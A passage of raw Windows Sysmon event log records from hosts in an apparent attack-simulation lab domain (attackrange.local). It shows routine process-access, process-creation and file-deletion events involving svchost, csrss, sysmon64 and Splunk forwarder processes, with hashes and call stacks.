15:04:33.875{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017465Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017464Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017463Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017462Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017461Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017460Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017459Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7401-613B-2405-00000000F101}924C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017458Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.875{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7401-613B-2405-00000000F101}924C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017457Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.876{625C326B-7401-613B-2405-00000000F101}924C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017456Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:33.144{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E9BBD07264BCFAEAF04A542556D56D80,SHA256=6481249A7B96B276E1F6AD2213D79F796B615ABA4281D05C8478D11E714CC0CA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000054459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:33.855{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-7291-613B-5F0B-00000000F001}3280C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:33.855{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000054461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:34.872{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE814F3408B7F975C7EF96B1548D0859,SHA256=ACC6A2FB726A83AE608A98550396CD78418C1802326F629461B8F9CFB7E62EF5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017473Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:34.890{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7CD6AF2247DEDFCDB9EC19101FFA2D10,SHA256=596F0AD2D2365E2CD9FC6ED2C5E14F81E035D891F70CA07823CB7EE1B2D733BA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017472Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:34.156{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B422DF6AE9F041F62EB3BDEACA03AD3E,SHA256=743F5C54C9DF4EF63FF8A495F232A58188FA2173A8995278AC2AF96FD7E1B908,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017471Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:34.062{625C326B-7401-613B-2405-00000000F101}924724C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000054462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:35.939{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E74E7BE59368D328825D5CD4D23E0B49,SHA256=D1389A7698CE6D9154C083D80C9282926B894A4611FECCDDE665FEF33EA3E76B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017502Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.813{625C326B-7403-613B-2605-00000000F101}27922596C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017501Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7403-613B-2605-00000000F101}2792C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017500Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017499Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017498Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017497Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017496Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017495Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017494Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017493Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017492Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017491Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7403-613B-2605-00000000F101}2792C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017490Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:35.609{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7403-613B-2605-00000000F101}2792C:\Program 